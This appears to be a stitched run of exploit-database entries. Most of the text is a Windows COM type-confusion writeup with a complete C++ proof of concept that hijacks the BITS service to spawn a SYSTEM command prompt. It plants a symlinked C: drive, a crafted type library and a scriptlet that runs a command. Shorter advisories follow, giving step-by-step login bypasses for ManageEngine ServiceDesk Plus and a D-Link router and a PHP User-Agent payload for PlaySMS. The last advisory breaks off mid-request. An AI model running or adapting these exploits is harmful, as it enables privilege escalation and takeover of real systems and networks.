Querying for an IID on a OOP (or remote) COM object calls the ORPC method RemQueryInterface or RemQueryInterface2 on the default proxy. This request is passed to the remote object which queries the implementation object and if successful returns a marshaled representation of that interface to the caller. 

The difference between RemQueryInterface and RemQueryInterface2 (RQI2) is how the objects are passed back to the caller. For RemQueryInterface the interface is passed back as a STDOBJREF which only contains the basic OXID/OID/IPID information to connect back. RemQueryInterface2 on the other hand passes back MInterfacePointer structures which is an entire OBJREF. The rationale, as far as I can tell, is that RQI2 is used for implementing in-process handlers, some interfaces can be marshaled using the standard marshaler and others can be custom marshaled. This is exposed through the Aggregate Standard Marshaler. 

The bug lies in the implementation of unpacking the results of the the RQI2 request in CStdMarshal::Finish_RemQIAndUnmarshal2. For each MInterfacePointer CStdMarshal::UnmarshalInterface is called passing the IID of the expected interface and the binary data wrapped in an IStream. CStdMarshal::UnmarshalInterface blindly unmarshals the interface, which creates a local proxy object but the proxy is created for the IID in the OBJREF stream and NOT the IID requested in RQI2. No further verification occurs at this point and the created proxy is passed back up the call stack until the received by the caller (through a void** obviously). 

If the IID in the OBJREF doesn’t match the IID requested the caller doesn’t know, if it calls any methods on the expected interface it will be calling a type confused object. This could result in crashes in the caller when it tries to access methods on the expected interface which aren’t there or are implemented differently. You could probably also return a standard OBJREF to a object local to the caller, this will result in returning the local object itself which might have more scope for exploiting the type confusion. In order to get the caller to use RQI2 we just need to pass it back an object which is custom marshaled with the Aggregate Standard Marshaler. This will set a flag on the marshaler which indicates to always use the aggregate marshaler which results in using RQI2 instead of RQI. As this class is a core component of COM it’s trusted and so isn’t affected by the EOAC_NO_CUSTOM_MARSHAL setting.

In order to exploit this a different caller needs to call QueryInterface on an object under a less trusted user's control. This could be a more privileged user (such as a sandbox broker), or a privileged service. This is pretty easy pattern to find, any method in an exposed interface on a more trusted COM object which takes an interface pointer or variant would potentially be vulnerable. For example IPersistStream takes an IStream interface pointer and will call methods on it. Another type of method is one of the various notification interfaces such as IBackgroundCopyCallback for BITS. This can probably also be used remotely if the attacker has the opportunity to inject an OBJREF stream into a connection which is set to CONNECT level security (which seems to be the default activation security). 

On to exploitation, as you well know I’ve little interest in exploiting memory corruptions, especially as this would  either this will trigger CFG on modern systems or would require a very precise lineup of expected method and actual called method which could be tricky to exploit reliably. However I think at least using this to escape a sandbox it might be your only option. So I’m not going to do that, instead I’m going to exploit it logically, the only problem is this is probably unexploitable from a sandbox (maybe) and requires a very specific type of callback into our object. 

The thing I’m going to exploit is in the handling of OLE Automation auto-proxy creation from type libraries. When you implement an Automation compatible object you could implement an explicit proxy but if you’ve already got a Type library built from your IDL then OLEAUT32 provides an alternative. If you register your interface with a Proxy CLSID for PSOAInterface or PSDispatch then instead of loading your PS DLL it will load OLEAUT32. The proxy loader code will lookup the interface entry for the passed IID to see if there’s a registered type library associated with it. If there is the code will call LoadTypeLib on that library and look up the interface entry in the type library. It will then construct a custom proxy object based on the type library information. 

The trick here is while in general we don’t control the location of the type library (so it’s probably in a location we can write to such as system32) if we can get an object unmarshaled which indicates it’s IID is one of these auto-proxy interfaces while the privileged service is impersonating us we can redirect the C: drive to anywhere we like and so get the service to load an arbitrary type library file instead of a the system one. One easy place where this exact scenario occurs is in the aforementioned BITS SetNotifyInterface function. The service first impersonates the caller before calling QI on the notify interface. We can then return an OBJREF for a automation IID even though the service asked for a BITS callback interface.

So what? Well it’s been known for almost 10 years that the Type library file format is completely unsafe. It was reported and it wasn’t changed, Tombkeeper highlighted this in his “Sexrets [sic] of LoadLibrary” presentation at CSW 2015. You can craft a TLB which will directly control EIP. Now you’d assume therefore I’m trading a unreliable way of getting EIP control for one which is much easier, if you assume that you’d be wrong. Instead I’m going to abuse the fact that TLBs can have referenced type libraries, which is used instead of embedding the type definitions inside the TLB itself. When a reference type is loaded the loader will try and look up the TLB by its GUID, if that fails it will take the filename string and pass it verbatim to LoadTypeLib. It’s a lesser know fact that this function, if it fails to find a file with the correct name will try and parse the name as a moniker. Therefore we can insert a scriptlet moniker into the type library, when the auto-proxy generator tries to find how many functions the interface implements it walks the inheritance chain, which causes the referenced TLB to be loaded, which causes a scriptlet moniker to be loaded and bound which results in arbitrary execution in a scripting language inside the privileged COM caller. 

The need to replace the C: drive is why this won’t work as a sandbox escape. Also it's a more general technique, not specific to this vulnerability as such, you could exploit it in the low-level NDR marshaler layer, however it’s rare to find something impersonating the caller during the low-level unmarshal. Type libraries are not loaded using the flag added after CVE-2015-1644 which prevent DLLs being loaded from the impersonate device map. I think you might want to fix this as well as there’s other places and scenarios this can occur, for example there’s a number of WMI services (such as anything which touches GPOs) which result in the ActiveDS com object being created, this is automation compatible and so will load a type library while impersonating the caller. Perhaps the auto-proxy generated should temporarily disable impersonation when loading the type library to prevent this happening. 

Proof of Concept:

I’ve provided a PoC as a C++ source code file. You need to compile it first. It abuses the BITS SetNotifyInterface to get a type library loaded under impersonation. We cause it to load a type library which references a scriptlet moniker which gets us code execution inside the BITS service.

1) Compile the C++ source code file.
2) Execute the PoC from a directory writable by the current user. 
3) An admin command running as local system should appear on the current desktop.

Expected Result:
The caller should realize there’s an IID mismatch and refuse to unmarshal, or at least QI the local proxy for the correct interface.

Observed Result:
The wrong proxy is created to that requested resulting in type confusion and an automation proxy being created resulting in code execution in the BITS server.
*/

// BITSTest.cpp : Defines the entry point for the console application.
//
#include <bits.h>
#include <bits4_0.h>
#include <stdio.h>
#include <tchar.h>
#include <lm.h>
#include <string>
#include <comdef.h>
#include <winternl.h>
#include <Shlwapi.h>
#include <strsafe.h>
#include <vector>

#pragma comment(lib, "shlwapi.lib")

static bstr_t IIDToBSTR(REFIID riid)
{
	LPOLESTR str;
	bstr_t ret = "Unknown";
	if (SUCCEEDED(StringFromIID(riid, &str)))
	{
		ret = str;
		CoTaskMemFree(str);
	}
	return ret;
}

GUID CLSID_AggStdMarshal2 = { 0x00000027,0x0000,0x0008,{ 0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46 } };
GUID IID_ITMediaControl = { 0xc445dde8,0x5199,0x4bc7,{ 0x98,0x07,0x5f,0xfb,0x92,0xe4,0x2e,0x09 } };

class CMarshaller : public IMarshal
{
	LONG _ref_count;
	IUnknownPtr _unk;

	~CMarshaller() {}

public:

	CMarshaller(IUnknown* unk) : _ref_count(1)
	{
		_unk = unk;
	}

	virtual HRESULT STDMETHODCALLTYPE QueryInterface(
		/* [in] */ REFIID riid,
		/* [iid_is][out] */ _COM_Outptr_ void __RPC_FAR *__RPC_FAR *ppvObject)
	{
		*ppvObject = nullptr;
		printf("QI - Marshaller: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this);

		if (riid == IID_IUnknown)
		{
			*ppvObject = this;
		}
		else if (riid == IID_IMarshal)
		{
			*ppvObject = static_cast<IMarshal*>(this);
		}
		else
		{
			return E_NOINTERFACE;
		}
		printf("Queried Success: %p\n", *ppvObject);
		((IUnknown*)*ppvObject)->AddRef();
		return S_OK;
	}

	virtual ULONG STDMETHODCALLTYPE AddRef(void)
	{
		printf("AddRef: %d\n", _ref_count);
		return InterlockedIncrement(&_ref_count);
	}

	virtual ULONG STDMETHODCALLTYPE Release(void)
	{
		printf("Release: %d\n", _ref_count);
		ULONG ret = InterlockedDecrement(&_ref_count);
		if (ret == 0)
		{
			printf("Release object %p\n", this);
			delete this;
		}
		return ret;
	}

	virtual HRESULT STDMETHODCALLTYPE GetUnmarshalClass(
		/* [annotation][in] */
		_In_  REFIID riid,
		/* [annotation][unique][in] */
		_In_opt_  void *pv,
		/* [annotation][in] */
		_In_  DWORD dwDestContext,
		/* [annotation][unique][in] */
		_Reserved_  void *pvDestContext,
		/* [annotation][in] */
		_In_  DWORD mshlflags,
		/* [annotation][out] */
		_Out_  CLSID *pCid)
	{
		*pCid = CLSID_AggStdMarshal2;
		return S_OK;
	}

	virtual HRESULT STDMETHODCALLTYPE GetMarshalSizeMax(
		/* [annotation][in] */
		_In_  REFIID riid,
		/* [annotation][unique][in] */
		_In_opt_  void *pv,
		/* [annotation][in] */
		_In_  DWORD dwDestContext,
		/* [annotation][unique][in] */
		_Reserved_  void *pvDestContext,
		/* [annotation][in] */
		_In_  DWORD mshlflags,
		/* [annotation][out] */
		_Out_  DWORD *pSize)
	{
		*pSize = 1024;
		return S_OK;
	}

	virtual HRESULT STDMETHODCALLTYPE MarshalInterface(
		/* [annotation][unique][in] */
		_In_  IStream *pStm,
		/* [annotation][in] */
		_In_  REFIID riid,
		/* [annotation][unique][in] */
		_In_opt_  void *pv,
		/* [annotation][in] */
		_In_  DWORD dwDestContext,
		/* [annotation][unique][in] */
		_Reserved_  void *pvDestContext,
		/* [annotation][in] */
		_In_  DWORD mshlflags)
	{
		printf("Marshal Interface: %ls\n", IIDToBSTR(riid).GetBSTR());
		IID iid = riid;
		if (iid == __uuidof(IBackgroundCopyCallback2) || iid == __uuidof(IBackgroundCopyCallback))
		{
			printf("Setting bad IID\n");
			iid = IID_ITMediaControl;
		}
		HRESULT hr = CoMarshalInterface(pStm, iid, _unk, dwDestContext, pvDestContext, mshlflags);
		printf("Marshal Complete: %08X\n", hr);
		return hr;
	}

	virtual HRESULT STDMETHODCALLTYPE UnmarshalInterface(
		/* [annotation][unique][in] */
		_In_  IStream *pStm,
		/* [annotation][in] */
		_In_  REFIID riid,
		/* [annotation][out] */
		_Outptr_  void **ppv)
	{
		return E_NOTIMPL;
	}

	virtual HRESULT STDMETHODCALLTYPE ReleaseMarshalData(
		/* [annotation][unique][in] */
		_In_  IStream *pStm)
	{
		return S_OK;
	}

	virtual HRESULT STDMETHODCALLTYPE DisconnectObject(
		/* [annotation][in] */
		_In_  DWORD dwReserved)
	{
		return S_OK;
	}
};

class FakeObject : public IBackgroundCopyCallback2, public IPersist
{
	LONG m_lRefCount;

	~FakeObject() {};

public:
	//Constructor, Destructor
	FakeObject() {
		m_lRefCount = 1;
	}

	//IUnknown
	HRESULT __stdcall QueryInterface(REFIID riid, LPVOID *ppvObj)
	{
		if (riid == __uuidof(IUnknown))
		{
			printf("Query for IUnknown\n");
			*ppvObj = this;
		}
		else if (riid == __uuidof(IBackgroundCopyCallback2))
		{
			printf("Query for IBackgroundCopyCallback2\n");
			*ppvObj = static_cast<IBackgroundCopyCallback2*>(this);
		}
		else if (riid == __uuidof(IBackgroundCopyCallback))
		{
			printf("Query for IBackgroundCopyCallback\n");
			*ppvObj = static_cast<IBackgroundCopyCallback*>(this);
		}
		else if (riid == __uuidof(IPersist))
		{
			printf("Query for IPersist\n");
			*ppvObj = static_cast<IPersist*>(this);
		}
		else if (riid == IID_ITMediaControl)
		{
			printf("Query for ITMediaControl\n");
			*ppvObj = static_cast<IPersist*>(this);
		}
		else
		{
			printf("Unknown IID: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this);
			*ppvObj = NULL;
			return E_NOINTERFACE;
		}

		((IUnknown*)*ppvObj)->AddRef();
		return NOERROR;
	}

	ULONG __stdcall AddRef()
	{
		return InterlockedIncrement(&m_lRefCount);
	}

	ULONG __stdcall Release()
	{
		ULONG  ulCount = InterlockedDecrement(&m_lRefCount);

		if (0 == ulCount)
		{
			delete this;
		}

		return ulCount;
	}

	virtual HRESULT STDMETHODCALLTYPE JobTransferred(
		/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob)
	{
		printf("JobTransferred\n");
		return S_OK;
	}

	virtual HRESULT STDMETHODCALLTYPE JobError(
		/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob,
		/* [in] */ __RPC__in_opt IBackgroundCopyError *pError)
	{
		printf("JobError\n");
		return S_OK;
	}


	virtual HRESULT STDMETHODCALLTYPE JobModification(
		/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob,
		/* [in] */ DWORD dwReserved)
	{
		printf("JobModification\n");
		return S_OK;
	}


	virtual HRESULT STDMETHODCALLTYPE FileTransferred(
		/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob,
		/* [in] */ __RPC__in_opt IBackgroundCopyFile *pFile)
	{
		printf("FileTransferred\n");
		return S_OK;
	}

	virtual HRESULT STDMETHODCALLTYPE GetClassID(
		/* [out] */ __RPC__out CLSID *pClassID)
	{
		*pClassID = GUID_NULL;
		return S_OK;
	}
};

_COM_SMARTPTR_TYPEDEF(IBackgroundCopyJob, __uuidof(IBackgroundCopyJob));
_COM_SMARTPTR_TYPEDEF(IBackgroundCopyManager, __uuidof(IBackgroundCopyManager));

static HRESULT Check(HRESULT hr)
{
	if (FAILED(hr))
	{
		throw _com_error(hr);
	}
	return hr;
}

#define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1)

typedef NTSTATUS(NTAPI* fNtCreateSymbolicLinkObject)(PHANDLE LinkHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PUNICODE_STRING TargetName);
typedef VOID(NTAPI *fRtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);

FARPROC GetProcAddressNT(LPCSTR lpName)
{
	return GetProcAddress(GetModuleHandleW(L"ntdll"), lpName);
}


class ScopedHandle
{
	HANDLE _h;
public:
	ScopedHandle() : _h(nullptr)
	{
	}

	ScopedHandle(ScopedHandle&) = delete;

	ScopedHandle(ScopedHandle&& h) {
		_h = h._h;
		h._h = nullptr;
	}

	~ScopedHandle()
	{
		if (!invalid())
		{
			CloseHandle(_h);
			_h = nullptr;
		}
	}

	bool invalid() {
		return (_h == nullptr) || (_h == INVALID_HANDLE_VALUE);
	}

	void set(HANDLE h)
	{
		_h = h;
	}

	HANDLE get()
	{
		return _h;
	}

	HANDLE* ptr()
	{
		return &_h;
	}


};

ScopedHandle CreateSymlink(LPCWSTR linkname, LPCWSTR targetname)
{
	fRtlInitUnicodeString pfRtlInitUnicodeString = (fRtlInitUnicodeString)GetProcAddressNT("RtlInitUnicodeString");
	fNtCreateSymbolicLinkObject pfNtCreateSymbolicLinkObject = (fNtCreateSymbolicLinkObject)GetProcAddressNT("NtCreateSymbolicLinkObject");

	OBJECT_ATTRIBUTES objAttr;
	UNICODE_STRING name;
	UNICODE_STRING target;

	pfRtlInitUnicodeString(&name, linkname);
	pfRtlInitUnicodeString(&target, targetname);

	InitializeObjectAttributes(&objAttr, &name, OBJ_CASE_INSENSITIVE, nullptr, nullptr);

	ScopedHandle hLink;

	NTSTATUS status = pfNtCreateSymbolicLinkObject(hLink.ptr(), SYMBOLIC_LINK_ALL_ACCESS, &objAttr, &target);
	if (status == 0)
	{
		printf("Opened Link %ls -> %ls: %p\n", linkname, targetname, hLink.get());
		return hLink;
	}
	else
	{
		printf("Error creating link %ls: %08X\n", linkname, status);
		return ScopedHandle();
	}
}


bstr_t GetSystemDrive()
{
	WCHAR windows_dir[MAX_PATH] = { 0 };

	GetWindowsDirectory(windows_dir, MAX_PATH);

	windows_dir[2] = 0;

	return windows_dir;
}

bstr_t GetDeviceFromPath(LPCWSTR lpPath)
{
	WCHAR drive[3] = { 0 };
	drive[0] = lpPath[0];
	drive[1] = lpPath[1];
	drive[2] = 0;

	WCHAR device_name[MAX_PATH] = { 0 };

	if (QueryDosDevice(drive, device_name, MAX_PATH))
	{
		return device_name;
	}
	else
	{
		printf("Error getting device for %ls\n", lpPath);
		exit(1);
	}
}

bstr_t GetSystemDevice()
{
	return GetDeviceFromPath(GetSystemDrive());
}

bstr_t GetExe()
{
	WCHAR curr_path[MAX_PATH] = { 0 };
	GetModuleFileName(nullptr, curr_path, MAX_PATH);
	return curr_path;
}

bstr_t GetExeDir()
{
	WCHAR curr_path[MAX_PATH] = { 0 };
	GetModuleFileName(nullptr, curr_path, MAX_PATH);
	PathRemoveFileSpec(curr_path);

	return curr_path;
}

bstr_t GetCurrentPath()
{
	bstr_t curr_path = GetExeDir();

	bstr_t ret = GetDeviceFromPath(curr_path);

	ret += &curr_path.GetBSTR()[2];

	return ret;
}

void TestBits()
{
	IBackgroundCopyManagerPtr pQueueMgr;

	Check(CoCreateInstance(__uuidof(BackgroundCopyManager), NULL,
		CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&pQueueMgr)));

	IUnknownPtr pOuter = new CMarshaller(static_cast<IPersist*>(new FakeObject()));
	IUnknownPtr pInner;

	Check(CoGetStdMarshalEx(pOuter, SMEXF_SERVER, &pInner));

	IBackgroundCopyJobPtr pJob;
	GUID guidJob;
	Check(pQueueMgr->CreateJob(L"BitsAuthSample",
		BG_JOB_TYPE_DOWNLOAD,
		&guidJob,
		&pJob));
	
	IUnknownPtr pNotify;
	pNotify.Attach(new CMarshaller(pInner));
	{
		ScopedHandle link = CreateSymlink(L"\\??\\C:", GetCurrentPath());
		printf("Result: %08X\n", pJob->SetNotifyInterface(pNotify));
	}
	if (pJob)
	{
		pJob->Cancel();
	}
	printf("Done\n");
}

class CoInit
{
public:
	CoInit()
	{
		Check(CoInitialize(nullptr));
		Check(CoInitializeSecurity(nullptr, -1, nullptr, nullptr,
			RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_NO_CUSTOM_MARSHAL | EOAC_DYNAMIC_CLOAKING, nullptr));
	}

	~CoInit()
	{
		CoUninitialize();
	}
};

// {D487789C-32A3-4E22-B46A-C4C4C1C2D3E0}
static const GUID IID_BaseInterface =
{ 0xd487789c, 0x32a3, 0x4e22,{ 0xb4, 0x6a, 0xc4, 0xc4, 0xc1, 0xc2, 0xd3, 0xe0 } };

// {6C6C9F33-AE88-4EC2-BE2D-449A0FFF8C02}
static const GUID TypeLib_BaseInterface =
{ 0x6c6c9f33, 0xae88, 0x4ec2,{ 0xbe, 0x2d, 0x44, 0x9a, 0xf, 0xff, 0x8c, 0x2 } };

GUID TypeLib_Tapi3 = { 0x21d6d480,0xa88b,0x11d0,{ 0x83,0xdd,0x00,0xaa,0x00,0x3c,0xca,0xbd } };

void Create(bstr_t filename, bstr_t if_name, REFGUID typelib_guid, REFGUID iid, ITypeLib* ref_typelib, REFGUID ref_iid)
{
	DeleteFile(filename);
	ICreateTypeLib2Ptr tlb;
	Check(CreateTypeLib2(SYS_WIN32, filename, &tlb));
	tlb->SetGuid(typelib_guid);

	ITypeInfoPtr ref_type_info;
	Check(ref_typelib->GetTypeInfoOfGuid(ref_iid, &ref_type_info));

	ICreateTypeInfoPtr create_info;
	Check(tlb->CreateTypeInfo(if_name, TKIND_INTERFACE, &create_info));
	Check(create_info->SetTypeFlags(TYPEFLAG_FDUAL | TYPEFLAG_FOLEAUTOMATION));
	HREFTYPE ref_type;
	Check(create_info->AddRefTypeInfo(ref_type_info, &ref_type));
	Check(create_info->AddImplType(0, ref_type));
	Check(create_info->SetGuid(iid));
	Check(tlb->SaveAllChanges());
}

std::vector<BYTE> ReadFile(bstr_t path)
{
	ScopedHandle hFile;
	hFile.set(CreateFile(path, GENERIC_READ, 0, nullptr, OPEN_EXISTING, 0, nullptr));
	if (hFile.invalid())
	{
		throw _com_error(E_FAIL);
	}	
	DWORD size = GetFileSize(hFile.get(), nullptr);
	std::vector<BYTE> ret(size);
	if (size > 0)
	{
		DWORD bytes_read;
		if (!ReadFile(hFile.get(), ret.data(), size, &bytes_read, nullptr) || bytes_read != size)
		{
			throw _com_error(E_FAIL);
		}
	}
	
	return ret;
}

void WriteFile(bstr_t path, const std::vector<BYTE> data)
{
	ScopedHandle hFile;
	hFile.set(CreateFile(path, GENERIC_WRITE, 0, nullptr, CREATE_ALWAYS, 0, nullptr));
	if (hFile.invalid())
	{
		throw _com_error(E_FAIL);
	}
	
	if (data.size() > 0)
	{
		DWORD bytes_written;
		if (!WriteFile(hFile.get(), data.data(), data.size(), &bytes_written, nullptr) || bytes_written != data.size())
		{
			throw _com_error(E_FAIL);
		}
	}
}

void WriteFile(bstr_t path, const char* data)
{
	const BYTE* bytes = reinterpret_cast<const BYTE*>(data);
	std::vector<BYTE> data_buf(bytes, bytes + strlen(data));
	WriteFile(path, data_buf);
}

void BuildTypeLibs(LPCSTR script_path)
{
	ITypeLibPtr stdole2;
	Check(LoadTypeLib(L"stdole2.tlb", &stdole2));

	printf("Building Library with path: %s\n", script_path);
	unsigned int len = strlen(script_path);

	bstr_t buf = GetExeDir() + L"\\";
	for (unsigned int i = 0; i < len; ++i)
	{
		buf += L"A";
	}

	Create(buf, "IBadger", TypeLib_BaseInterface, IID_BaseInterface, stdole2, IID_IDispatch);
	ITypeLibPtr abc;
	Check(LoadTypeLib(buf, &abc));


	bstr_t built_tlb = GetExeDir() + L"\\output.tlb";
	Create(built_tlb, "ITMediaControl", TypeLib_Tapi3, IID_ITMediaControl, abc, IID_BaseInterface);

	std::vector<BYTE> tlb_data = ReadFile(built_tlb);
	for (size_t i = 0; i < tlb_data.size() - len; ++i)
	{
		bool found = true;
		for (unsigned int j = 0; j < len; j++)
		{
			if (tlb_data[i + j] != 'A')
			{
				found = false;
			}
		}

		if (found)
		{
			printf("Found TLB name at offset %zu\n", i);
			memcpy(&tlb_data[i], script_path, len);
			break;
		}
	}

	CreateDirectory(GetExeDir() + L"\\Windows", nullptr);
	CreateDirectory(GetExeDir() + L"\\Windows\\System32", nullptr);

	bstr_t target_tlb = GetExeDir() + L"\\Windows\\system32\\tapi3.dll";
	WriteFile(target_tlb, tlb_data);
}

const wchar_t x[] = L"ABC";

const wchar_t scriptlet_start[] = L"<?xml version='1.0'?>\r\n<package>\r\n<component id='giffile'>\r\n"
"<registration description='Dummy' progid='giffile' version='1.00' remotable='True'>\r\n"\
"</registration>\r\n"\
"<script language='JScript'>\r\n"\
"<![CDATA[\r\n"\
"  new ActiveXObject('Wscript.Shell').exec('";

const wchar_t scriptlet_end[] = L"');\r\n"\
"]]>\r\n"\
"</script>\r\n"\
"</component>\r\n"\
"</package>\r\n";

bstr_t CreateScriptletFile()
{
	bstr_t script_file = GetExeDir() + L"\\run.sct";
	bstr_t script_data = scriptlet_start;
	bstr_t exe_file = GetExe();
	wchar_t* p = exe_file;
	while (*p)
	{
		if (*p == '\\')
		{
			*p = '/';
		}
		p++;
	}

	DWORD session_id;
	ProcessIdToSessionId(GetCurrentProcessId(), &session_id);
	WCHAR session_str[16];
	StringCchPrintf(session_str, _countof(session_str), L"%d", session_id);

	script_data += L"\"" + exe_file + L"\" " + session_str + scriptlet_end;

	WriteFile(script_file, script_data);

	return script_file;
}

void CreateNewProcess(const wchar_t* session)
{
	DWORD session_id = wcstoul(session, nullptr, 0);
	ScopedHandle token;
	if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, token.ptr()))
	{
		throw _com_error(E_FAIL);
	}

	ScopedHandle new_token;

	if (!DuplicateTokenEx(token.get(), TOKEN_ALL_ACCESS, nullptr, SecurityAnonymous, TokenPrimary, new_token.ptr()))
	{
		throw _com_error(E_FAIL);
	}

	SetTokenInformation(new_token.get(), TokenSessionId, &session_id, sizeof(session_id));

	STARTUPINFO start_info = {};
	start_info.cb = sizeof(start_info);
	start_info.lpDesktop = L"WinSta0\\Default";
	PROCESS_INFORMATION proc_info;
	WCHAR cmdline[] = L"cmd.exe";
	if (CreateProcessAsUser(new_token.get(), nullptr, cmdline,
		nullptr, nullptr, FALSE, CREATE_NEW_CONSOLE, nullptr, nullptr, &start_info, &proc_info))
	{
		CloseHandle(proc_info.hProcess);
		CloseHandle(proc_info.hThread);
	}
}

int wmain(int argc, wchar_t** argv)
{
	try
	{
		CoInit ci;
		if (argc > 1)
		{
			CreateNewProcess(argv[1]);
		}
		else
		{
			bstr_t script = L"script:" + CreateScriptletFile();
			BuildTypeLibs(script);
			TestBits();
		}
	}
	catch (const _com_error& err)
	{
		printf("Error: %ls\n", err.ErrorMessage());
	}

    return 0;
}
            
Title: ManageEngine ServiceDesk Plus Application Compromise
Date: 19 May 2017
Researcher: Steven Lackey (ByteM3)
Product: ServiceDesk Plus (http://www.manageengine.com/)
Affected Version: 9.0 (Other versions could also be affected)
Fixed Version: Service Pack 9241 – Build 9.2
Vulnerability Impact: High
Published Date:
Email: bytem3 [at] bytem3.com <http://cyberdefensetechnologies.com/>

Product Introduction
===============

ServiceDesk Plus is ITIL-ready help desk software with integrated Assetand
Project Management capabilities.

With advanced ITSM functionality and easy-to-use capability, ServiceDesk
Plus helps IT support teams deliver

world-class service to end users with reduced costs and complexity. It
comes in three editions and is available

in 29 different languages. Over 100,000 organizations, across 185
countries, trust ServiceDesk Plus to optimize

IT service desk performance and achieve high end user satisfaction.

Source: https://www.manageengine.com/products/service-desk/

Vulnerability Information
==================

Class: Backdoor
Impact: Account and Application Compromise
Remotely Exploitable: Yes
Authentication Required: Yes
User interaction required: Yes
CVE Name: N/A


Vulnerability Description
===================

A valid username can be used as both username/password to login and
compromise the application through the “/mc/” directory which is the
‘mobile client’ directory. This can be achieved ONLY if Active
Directory/LDAP is being used.

This flaw exists because of the lack of password randomization in the
application version 9.0 when a user is entered into the application, thus
the application assigns the password as the username. The flaw can then be
exploited by logging into the application through the “/mc” directory and
then backing out of the “/mc” directory by deleting it from the URL thus
positioning you in the main application with the authority of the user you
logged in as. (Help locating a valid username can come from another
discovered vulnerability in this same version of software here:
https://www.exploit-db.com/exploits/35891/ - with credit to Muhammad Ahmed
Siddiqui for discovering how to enumerate usernames)


Proof-of-Concept Authenticated User
============================

An attacker can use the following URL to login to the mobile client with
any workstation:

http://server/mc/

Use the discovered username in both the username and password fields.
Ensure the “Is AD Auth” box is checked and click login.


Once logged in, remove “/mc/” from the URL and you will be presented with
the full application and the authorities of the user you just logged in
with.


You can now continue to look for usernames inside the application until a
user with administrative privileges has been discovered and can compromise
with administrative authority. Please note, ServiceDesk Plus has the
ability to ‘scan’ machines on any available network it can see, meaning,
system accounts are typically entered into the application to keep an
inventory of machines that ServiceDesk can manage. It is possible to
compromise not only the hosting machine for this application, however, the
entire network as I did on the Penetration Test where I discovered this
‘backdoor’.


Vendor Response
=======

I have contacted the vendor and they advised they have fixed this
particular issue with a new service pack ‘9241’, however, this insanely
vulnerability is still out there, as this scenario has not been published
as of yet, other than the vendors statement on their 9.2 Release readme
webpage (https://www.manageengine.com/products/service-desk/readme-9.2.html)
and email to me here:


“FIX: PATCH *SD-61664 :* Based on Database configuration, an option to set
the LocalAuthentication password as Random or predefined, for the users
added through ActiveDirectory (AD), LDAP, Dynamic user addition, users
created via e-mail Requests has been provided. Make sure that the
notification under Admin >> Notification Rules >> Send Self-service login
details is enabled before performing the import so that LA user details
will be notified to users through email.”


Timeline
=======

18-Apr-2017 – Notification to Vendor
19-Apr-2017 – Response from Vendor
31-Jan-2017 – Vulnerability fixed by Vendor
19-May-2017 – Still no clear publication on this backdoor
            
 Exploit Title: PlaySMS 1.4 Remote Code Execution (to Poisoning admin log)
# Date: 19-05-2017
# Software Link: https://playsms.org/download/
# Version: 1.4
# Exploit Author: Touhid M.Shaikh
# Contact: http://twitter.com/touhidshaikh22
# Website: http://touhidshaikh.com/
# Category: webapps
 
1. Description
   

Remote Code Execution in Admin Log. 
In PlaySMS Admin have a panel where he/she monitor User status. Admin Can see Whose Online.
Using this functionality we can exploit RCE in Whose Online page.

When Any user Logged in the playSMS application. Some user details log on Whose Online panel like "Username", "User-Agent", "Current IP", etc. (You Can See Templeate Example Below)    

For More Details : www.touhidshaikh.com/blog/

   
2. Proof of Concept
 
1) Login as regular user (created using index.php?app=main&inc=core_auth&route=register):

2) Just Change you User-agent String to "<?php phpinfo();?>" or whatever your php payload.(Make sure to change User Agent after log in)

3) Just surf on playsms. And wait for admin activity, When admin Checks Whose Online status ...(bingooo Your payload successfully exploited )



setting parameter in online.php
*------------------online.php-----------------*

$users = report_whoseonline_subuser();
foreach ($users as $user) {
foreach ($user as $hash) {
$tpl['loops']['data'][] = array(
'tr_class' => $tr_class,
'c_username' => $hash['username'],
'c_isadmin' => $hash['icon_isadmin'],
'last_update' => $hash['last_update'],
'current_ip' => $hash['ip'],
'user_agent' => $hash['http_user_agent'],
'login_status' => $hash['login_status'],
'action' => $hash['action_link'],
);
}
}
*-------------ends here online.php-----------------*




Visible on this page: report_online.html
*------------report_online.html-----------*
<loop.data>
<tr class={{ data.tr_class }}>
<td>{{ data.c_username }} {{ data.c_isadmin }}</td>
<td>{{ data.login_status }} {{ data.last_update }}</td>
<td>{{ data.current_ip }}</td>
<td>{{ data.user_agent }}</td>
<td>{{ data.action }}</td>
</tr>
</loop.data>
*------------Ends here report_online.html-----------*


 
 


*------------------Greetz----------------- -----*
|Pratik K.Tejani, Rehman, Taushif  |
*---------------------------------------------------*

  _____           _     _     _ 
 |_   _|__  _   _| |__ (_) __| |
   | |/ _ \| | | | '_ \| |/ _` |
   | | (_) | |_| | | | | | (_| |
   |_|\___/ \__,_|_| |_|_|\__,_|
                                
Touhid SHaikh
An Independent Security Researcher.
            
# Exploit Title: D-Link DIR-600M Wireless N 150 Login Page Bypass
# Date: 19-05-2017
# Software Link: http://www.dlink.co.in/products/?pid=DIR-600M
# Exploit Author: Touhid M.Shaikh
# Vendor : www.dlink.com
# Contact : http://twitter.com/touhidshaikh22
# Version: Hardware version: C1
Firmware version: 3.04
# Tested on:All Platforms


1) Description

After Successfully Connected to D-Link DIR-600M Wireless N 150
Router(FirmWare Version : 3.04), Any User Can Easily Bypass The Router's
Admin Panel Just by Feeding Blank Spaces in the password Field.

Its More Dangerous when your Router has a public IP with remote login
enabled.

For More Details : www.touhidshaikh.com/blog/

IN MY CASE,
Router IP : http://192.168.100.1



Video POC : https://www.youtube.com/watch?v=waIJKWCpyNQring

2) Proof of Concept

Step 1: Go to
Router Login Page : http://192.168.100.1/login.htm

Step 2:
Fill username: admin
And in Password Fill more than 20 tims Spaces(" ")



Our Request Is look like below.
-----------------ATTACKER REQUEST-----------------------------------

POST /login.cgi HTTP/1.1
Host: 192.168.100.1
